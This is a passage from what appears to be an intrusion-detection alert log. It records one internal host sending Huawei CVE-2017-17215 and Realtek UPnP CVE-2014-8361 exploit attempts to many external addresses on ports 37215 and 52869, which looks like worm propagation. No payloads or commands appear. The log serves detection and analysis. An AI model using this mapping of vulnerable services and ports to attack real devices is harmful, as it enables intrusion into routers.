SID:	2027339
Source Port:	50434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.18.60.239

Timestamp:	07/20/24-23:05:52.214852
SID:	2835222
Source Port:	50284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 222.135.120.100

Timestamp:	07/20/24-23:05:56.923505
SID:	2027339
Source Port:	36194
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 57.150.87.191

Timestamp:	07/20/24-23:05:51.431946
SID:	2831300
Source Port:	39790
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.149.252.54

Timestamp:	07/20/24-23:05:46.982251
SID:	2835222
Source Port:	35096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 98.62.191.234

Timestamp:	07/20/24-23:05:51.421493
SID:	2831300
Source Port:	58402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.84.213.46

Timestamp:	07/20/24-23:05:46.975762
SID:	2835222
Source Port:	37188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.116.32.17

Timestamp:	07/20/24-23:05:52.264315
SID:	2829579
Source Port:	48834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.192.42.134

Timestamp:	07/20/24-23:05:52.269606
SID:	2829579
Source Port:	36170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 201.149.192.125

Timestamp:	07/20/24-23:05:54.857408
SID:	2027339
Source Port:	44426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 173.121.154.127

Timestamp:	07/20/24-23:05:54.866274
SID:	2027339
Source Port:	58032
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 201.205.132.204

Timestamp:	07/20/24-23:05:46.982798
SID:	2829579
Source Port:	53706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.74.70.31

Timestamp:	07/20/24-23:05:47.538262
SID:	2835222
Source Port:	60614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.193.109.166

Timestamp:	07/20/24-23:05:52.192507
SID:	2829579
Source Port:	53562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 201.57.227.248

Timestamp:	07/20/24-23:05:51.423445
SID:	2027339
Source Port:	42810
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.117.152.206

Timestamp:	07/20/24-23:05:46.970753
SID:	2829579
Source Port:	35644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 42.140.137.117

Timestamp:	07/20/24-23:05:52.334778
SID:	2027339
Source Port:	46576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 78.110.167.93

Timestamp:	07/20/24-23:05:47.478977
SID:	2025132
Source Port:	33656
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 118.98.149.170

Timestamp:	07/20/24-23:05:54.762221
SID:	2027339
Source Port:	34280
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 79.90.210.218

Timestamp:	07/20/24-23:05:56.938108
SID:	2027339
Source Port:	60096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.153.119.252

Timestamp:	07/20/24-23:05:46.975762
SID:	2829579
Source Port:	58996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 136.117.93.58

Timestamp:	07/20/24-23:05:51.461470
SID:	2831300
Source Port:	51670
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 124.96.161.46

Timestamp:	07/20/24-23:05:52.251312
SID:	2829579
Source Port:	47892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.194.249.74

Timestamp:	07/20/24-23:05:52.264315
SID:	2829579
Source Port:	51622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 221.37.81.113

Timestamp:	07/20/24-23:05:51.418660
SID:	2027339
Source Port:	60844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.131.211.75

Timestamp:	07/20/24-23:05:52.258489
SID:	2829579
Source Port:	32958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.136.223.71

Timestamp:	07/20/24-23:05:47.533432
SID:	2835222
Source Port:	54840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 46.90.90.254

Timestamp:	07/20/24-23:05:52.264315
SID:	2829579
Source Port:	35434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 108.182.178.131

Timestamp:	07/20/24-23:05:52.269606
SID:	2835222
Source Port:	45318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 186.151.11.189

Timestamp:	07/20/24-23:05:46.971186
SID:	2835222
Source Port:	59214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 57.150.87.191

Timestamp:	07/20/24-23:05:47.457803
SID:	2025132
Source Port:	39096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 201.149.192.125

Timestamp:	07/20/24-23:05:54.857408
SID:	2025132
Source Port:	44426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.201.153.177

Timestamp:	07/20/24-23:05:52.218581
SID:	2835222
Source Port:	37862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 44.187.248.15

Timestamp:	07/20/24-23:05:51.534354
SID:	2831300
Source Port:	36792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.37.185.160

Timestamp:	07/20/24-23:05:52.258489
SID:	2835222
Source Port:	52036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.128.226.57

Timestamp:	07/20/24-23:05:46.975762
SID:	2835222
Source Port:	47522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 39.102.197.30

Timestamp:	07/20/24-23:05:46.981573
SID:	2829579
Source Port:	57062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.118.39.51

Timestamp:	07/20/24-23:05:52.214853
SID:	2829579
Source Port:	38654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 115.124.30.25

Timestamp:	07/20/24-23:05:46.907724
SID:	2835222
Source Port:	50756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.35.231.73

Timestamp:	07/20/24-23:05:46.926640
SID:	2829579
Source Port:	45292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.215.207.96

Timestamp:	07/20/24-23:05:47.533810
SID:	2835222
Source Port:	58838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.252.225.199

Timestamp:	07/20/24-23:05:52.247739
SID:	2829579
Source Port:	39734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 195.235.63.144

Timestamp:	07/20/24-23:05:51.421493
SID:	2831300
Source Port:	43208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.15.253.221

Timestamp:	07/20/24-23:05:46.986114
SID:	2835222
Source Port:	42104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.219.200.135

Timestamp:	07/20/24-23:05:52.247739
SID:	2835222
Source Port:	56398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 44.187.248.15

Timestamp:	07/20/24-23:05:51.534354
SID:	2027339
Source Port:	36792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 70.169.229.113

Timestamp:	07/20/24-23:05:56.967216
SID:	2025132
Source Port:	41190
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 149.223.236.152

Timestamp:	07/20/24-23:05:51.423446
SID:	2831300
Source Port:	38286
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 98.62.191.234

Timestamp:	07/20/24-23:05:51.421493
SID:	2027339
Source Port:	58402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.23.223.104

Timestamp:	07/20/24-23:05:46.976752
SID:	2829579
Source Port:	37204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 177.34.128.116

Timestamp:	07/20/24-23:05:47.561552
SID:	2027339
Source Port:	45436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 2.151.18.206

Timestamp:	07/20/24-23:05:46.830108
SID:	2027339
Source Port:	37538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.243.231.210

Timestamp:	07/20/24-23:05:52.247739
SID:	2835222
Source Port:	43060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.195.218.157

Timestamp:	07/20/24-23:05:52.247739
SID:	2829579
Source Port:	56776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 222.135.120.100

Timestamp:	07/20/24-23:05:56.923505
SID:	2025132
Source Port:	36194
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.68.9.108

Timestamp:	07/20/24-23:05:46.978421
SID:	2835222
Source Port:	48812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.185.139.197

Timestamp:	07/20/24-23:05:52.269606
SID:	2835222
Source Port:	42604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.99.191.32

Timestamp:	07/20/24-23:05:46.975762
SID:	2835222
Source Port:	56156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.64.154.239

Timestamp:	07/20/24-23:05:46.907723
SID:	2829579
Source Port:	54436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 54.54.215.85

Timestamp:	07/20/24-23:05:46.042101
SID:	2027339
Source Port:	32862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 221.3.242.5

Timestamp:	07/20/24-23:05:51.421136
SID:	2831300
Source Port:	40132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 97.109.184.0

Timestamp:	07/20/24-23:05:52.251312
SID:	2829579
Source Port:	52090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.199.184.127

Timestamp:	07/20/24-23:05:46.981573
SID:	2829579
Source Port:	60188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 42.140.137.117

Timestamp:	07/20/24-23:05:52.334778
SID:	2831300
Source Port:	46576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 221.37.81.113

Timestamp:	07/20/24-23:05:51.418660
SID:	2831300
Source Port:	60844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 187.208.99.105

Timestamp:	07/20/24-23:05:52.218581
SID:	2829579
Source Port:	33406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.123.171.135

Timestamp:	07/20/24-23:05:52.198545
SID:	2829579
Source Port:	40232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 57.150.87.191

Timestamp:	07/20/24-23:05:47.457803
SID:	2027339
Source Port:	39096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 92.253.193.163

Timestamp:	07/20/24-23:05:51.421493
SID:	2831300
Source Port:	60882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.59.238.179

Timestamp:	07/20/24-23:05:52.265126
SID:	2835222
Source Port:	59174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.166.4.73

Timestamp:	07/20/24-23:05:46.966276
SID:	2835222
Source Port:	49420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 62.80.115.9

Timestamp:	07/20/24-23:05:47.425240
SID:	2027339
Source Port:	34076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 220.159.9.134

Timestamp:	07/20/24-23:05:46.811985
SID:	2025132
Source Port:	39486
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.103.203.136

Timestamp:	07/20/24-23:05:46.982251
SID:	2829579
Source Port:	48328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.17.61.246

Timestamp:	07/20/24-23:05:47.534459
SID:	2835222
Source Port:	51370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 142.17.9.107

Timestamp:	07/20/24-23:05:46.520261
SID:	2027339
Source Port:	36334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 74.72.233.88

Timestamp:	07/20/24-23:05:46.798680
SID:	2027339
Source Port:	44984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.244.78.99

Timestamp:	07/20/24-23:05:46.981572
SID:	2829579
Source Port:	54998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 130.42.76.120

Timestamp:	07/20/24-23:05:56.971517
SID:	2027339
Source Port:	38802
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.198.164.117

Timestamp:	07/20/24-23:05:46.978421
SID:	2835222
Source Port:	53428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.83.252.72

Timestamp:	07/20/24-23:05:52.261192
SID:	2835222
Source Port:	47048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.166.221.172

Timestamp:	07/20/24-23:05:46.915618
SID:	2829579
Source Port:	53674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 36.180.172.129

Timestamp:	07/20/24-23:05:46.332473
SID:	2027339
Source Port:	43168
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 89.97.7.223

Timestamp:	07/20/24-23:05:46.922963
SID:	2829579
Source Port:	33106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.132.76.6

Timestamp:	07/20/24-23:05:52.251312
SID:	2835222
Source Port:	44488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.195.213.199

Timestamp:	07/20/24-23:05:46.970753
SID:	2829579
Source Port:	46890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 103.184.127.83

Timestamp:	07/20/24-23:05:54.693958
SID:	2027339
Source Port:	47216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.166.208.82

Timestamp:	07/20/24-23:05:46.973669
SID:	2829579
Source Port:	55240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 177.34.128.116

Timestamp:	07/20/24-23:05:47.561552
SID:	2025132
Source Port:	45436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.174.220.162

Timestamp:	07/20/24-23:05:52.311536
SID:	2835222
Source Port:	56504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.168.102.178

Timestamp:	07/20/24-23:05:46.971186
SID:	2835222
Source Port:	52574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 89.229.96.227

Timestamp:	07/20/24-23:05:51.418855
SID:	2831300
Source Port:	39650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 46.81.190.204

Timestamp:	07/20/24-23:05:47.468642
SID:	2027339
Source Port:	58708
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 83.121.211.25

Timestamp:	07/20/24-23:05:46.922963
SID:	2829579
Source Port:	46732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 138.132.215.240

Timestamp:	07/20/24-23:05:51.498918
SID:	2831300
Source Port:	35550
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 134.55.152.47

Timestamp:	07/20/24-23:05:47.333295
SID:	2027339
Source Port:	49020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 92.36.25.236

Timestamp:	07/20/24-23:05:46.982907
SID:	2835222
Source Port:	33002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.245.73.17

Timestamp:	07/20/24-23:05:52.218581
SID:	2835222
Source Port:	35970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 198.139.127.65

Timestamp:	07/20/24-23:05:47.344104
SID:	2027339
Source Port:	50220
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 220.159.9.134

Timestamp:	07/20/24-23:05:46.811985
SID:	2027339
Source Port:	39486
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 54.82.97.176

Timestamp:	07/20/24-23:05:47.505471
SID:	2027339
Source Port:	43492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 72.17.189.116

